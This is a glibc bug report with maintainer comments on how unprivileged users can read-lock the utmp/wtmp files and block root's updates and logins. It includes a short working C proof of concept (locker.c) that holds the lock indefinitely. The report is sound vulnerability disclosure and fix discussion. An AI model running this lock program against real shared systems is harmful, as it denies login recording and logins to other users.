Bug 24492

Summary: utmp/wtmp locking allows non-privileged user to deny service
Product: glibc Reporter: Davin McCall <davmac>
Component: libcAssignee: Not yet assigned to anyone <unassigned>
Status: NEW ---    
Severity: normal CC: adhemerval.zanella, carlos, drepper.fsp, fweimer, sam
Priority: P2 Flags: fweimer: security+
Version: 2.29   
Target Milestone: ---   
Host: Target:
Build: Last reconfirmed: 2019-05-14 00:00:00

Description Davin McCall 2019-04-27 04:52:28 UTC
The utmp locking in glibc relies on lock the utmp database file (i.e. /var/run/utmp). This file is normally readable by non-root users and so they are able to lock it as well, which prevents updating the databse, and delays any attempt to do so (the mechanism currently in glibc times out after 10 seconds).

See two example programs below. The first, which can be run as any user, locks the file and sleeps. The second, which should be run as root, attempts to update the database. It fails while the first program remains running.

Therefore, any user is able to prevent the utmp database from being updated. A similar problem exists for the wtmp database which records logins.

Relevant glibc code is in login/utmp_file.c.

Regarding solutions, it is not a trivial problem to solve completely. I suggest locking a separate file (eg /var/run/.utmp.lock) which is read/writeable by root only and therefore unable to be locked by unprivileged users; however, reads of the database would need to be done without any locking (at least for unprivileged users) which theoretically means that a read could see a partially-updated record. In practice for this to happen a partial record write would need to have occurred (or the filesystem would have to be non-POSIX compliant, since POSIX mandates that a successful write is atomic as far as reads are concerned).  In any case this theoretical problem seems less of an issue than the demonstrable problem of unprivileged processes being able to deny updates to the databases.

Example programs for reproduction:

--- begin locker.c ---
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
    // open file
    int fd = open("/var/run/utmp", O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    
    // lock file
    struct flock fl;
    memset(&fl, 0, sizeof(fl));
    fl.l_type = F_RDLCK;
    fl.l_whence = SEEK_SET;
    if (fcntl(fd, F_SETLKW, &fl) < 0) {
        perror("fcntl (SETLKW)");
        return 1;
    }
    
    // sleep forever.
    pause();
    return 0;
}
--- end ---

--- begin writeutmp.c ---
#include <utmp.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <pwd.h>

int main(int argc, char **argv)
{
    struct utmp ut;
    memset(&ut, 0, sizeof(ut));
    
    ut.ut_type = USER_PROCESS;
    ut.ut_pid = getpid();
    strncpy(ut.ut_line, ttyname(STDIN_FILENO) + strlen("/dev/"),
        sizeof(ut.ut_line));
        
    time_t cur_time;
    time(&cur_time);
    
    ut.ut_tv.tv_sec = cur_time;
    
    strcpy(ut.ut_user, getpwuid(getuid())->pw_name);
    ut.ut_addr = 0;
        
    setutent();
    if (pututline(&ut) == NULL) {
        perror("pututline");
    }
    endutent();
    
    return 0;
}
--- end ---
Comment 1 Adhemerval Zanella 2019-05-14 13:51:04 UTC
This issue seems to exist on Solaris and AIX as well, although they uses a different path (/var/run/utmpx for Solaris and /etc/utmp).  As with glibc-based system, its permission is similar that it allows users to read-lock it:

Solaris:
$ ls -l /var/run/utmpx
-rw-r--r--   1 root     bin         7440 May 14 14:56 /var/run/utmpx

AIX:
$ ls -l /etc/utmp
-rw-r--r--    1 root     system        38232 May 14 08:39 /etc/utmp

The same issue also prevents further login on the system, as sshd for instance.  

I think a better alternative would just to make the utmp file no accessible to user as default with the side effect of making utmp{x} interfaces return EPERM as default. I am not sure how it would play on its usage in login process, but I also don't think using a different lock file while still using default permission for /var/run/utmp would be an improvement here.  The privileged process still need to have non-blocked access to utmp regardless and I think adding a timeout to abort in such cases is also not an option (besides it is not defined in the standard, it also not expected such functions fail in this scenario). Another possibility is to route utmp{x} interfaces to a privileged process.  

Not sure which would be the best option, thoughts?
Comment 2 Carlos O'Donell 2019-05-14 14:26:38 UTC
(In reply to Adhemerval Zanella from comment #1)
> I think a better alternative would just to make the utmp file no accessible
> to user as default with the side effect of making utmp{x} interfaces return
> EPERM as default. I am not sure how it would play on its usage in login
> process, but I also don't think using a different lock file while still
> using default permission for /var/run/utmp would be an improvement here. 
> The privileged process still need to have non-blocked access to utmp
> regardless and I think adding a timeout to abort in such cases is also not
> an option (besides it is not defined in the standard, it also not expected
> such functions fail in this scenario). Another possibility is to route
> utmp{x} interfaces to a privileged process.  
> 
> Not sure which would be the best option, thoughts?

Privileged processes can be expected to coordinate access and complete writes and release locks in a timely fashion. So the writers can block other writers or readers.

Unprivileged readers cannot be trusted to complete reads or release locks in a timely fashion, and should have no impact on the privileged writers. The readers cannot block other writers, but could block other readers (if required).

It seems like we should be able to implement this with the Linux filesystem primivites, but I haven't done a deep analysis of this issue.

This is a security issue, and Florian has added security+ flag, but it's one that has existed for a long time.